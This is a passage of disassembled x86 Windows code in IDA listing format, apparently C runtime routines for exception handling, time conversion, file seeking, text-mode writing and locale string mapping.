esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBA08 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:0042791Co mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427910o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427920 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43CFA4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427930o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:00427934o mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427928o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DCFE8 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DCFE4 nop call near ptr 2690000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43D46C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43D388 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43D38C, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43D390 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DCDA0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DCCA0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB958, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 27A0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 26B0857h jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB95C, 0 mov dword_4DB958, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DCCA0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB958, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DCCA0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DCDA0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DCCA0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2720000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB958, 9 mov dword_4DB95C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 26B0857h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2720000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j call near ptr 26B0857h nop mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB958, 1Ch mov dword_4DB95C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB95C, 0 mov dword_4DB958, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427940 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBA2C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427938 mov esi, 100h push esi push edi call near ptr 2670000h nop test eax, eax jz short loc_422B1E mov dword_4DBA2C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CB50C push esi push edi nop call near ptr 2680000h test eax, eax jz loc_422C58 mov dword_4DBA2C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DBA2C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2680000h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DBA24 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2860000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2860000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2670000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2670000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2670000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2850000h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DBA30 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBA30, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43D020 mov edx, dword_43D024 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43CFB0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43D02C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43D02C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43D02C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43D02C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43D02C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43D02C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43D02C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43D02C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43D02C push 8 call ebx pop ecx mov dword_43D02C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DBA30, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] call near ptr 2660000h nop loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D028 cmp dword_43CFA8, edx push esi mov eax, offset dword_43CFA8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43CFA8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43CFA8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: 